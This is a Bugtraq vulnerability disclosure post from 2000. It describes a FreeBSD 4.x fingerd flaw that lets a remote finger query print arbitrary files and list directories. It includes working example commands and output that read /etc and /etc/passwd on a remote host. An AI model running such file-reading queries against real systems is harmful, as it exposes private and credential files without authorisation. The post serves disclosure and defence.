Bugtraq: Re: [sa2c () and or jp: bin/21704: enabling fingerd makes files world readable]

[Przemyslaw Frasunek <venglin () FREEBSD LUBLIN PL>]

On Mon, Oct 02, 2000 at 08:56:40PM +0200, Przemyslaw Frasunek wrote:
> If finger takes full path name as user name, it prints out contents of
> that file.  Because fingerd executes finger as local information
> provider, finger /path/to/file () some host prints /path/to/file at
> some.host.
BTW. Problem persists only in 4.x branch. Of course, it allows also
to traverse directory structures:

riget:venglin:~> finger /etc/@lagoon | strings | head -n 3
[lagoon.freebsd.lublin.pl]
^ () ^@^L^ () ^D^A ^@^ () ^@^B^ () ^@^ () ^L^@^D^B..^ () ^@^ () ^W^A^@^T^ () ^D^Hdefaults^@^A^ () ^@^A
^ () ^@^T^ () ^H      protocols^ () ^@^ () ^B

riget:venglin:~> finger /etc/passwd () lagoon | head -n2
[lagoon.freebsd.lublin.pl]
root:*:0:0:Przemyslaw Frasunek:/home/root:/usr/local/bin/tcsh

--
* Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE *
* Inet: venglin () freebsd lublin pl ** PGP: D48684904685DF43  EA93AFA13BE170BF *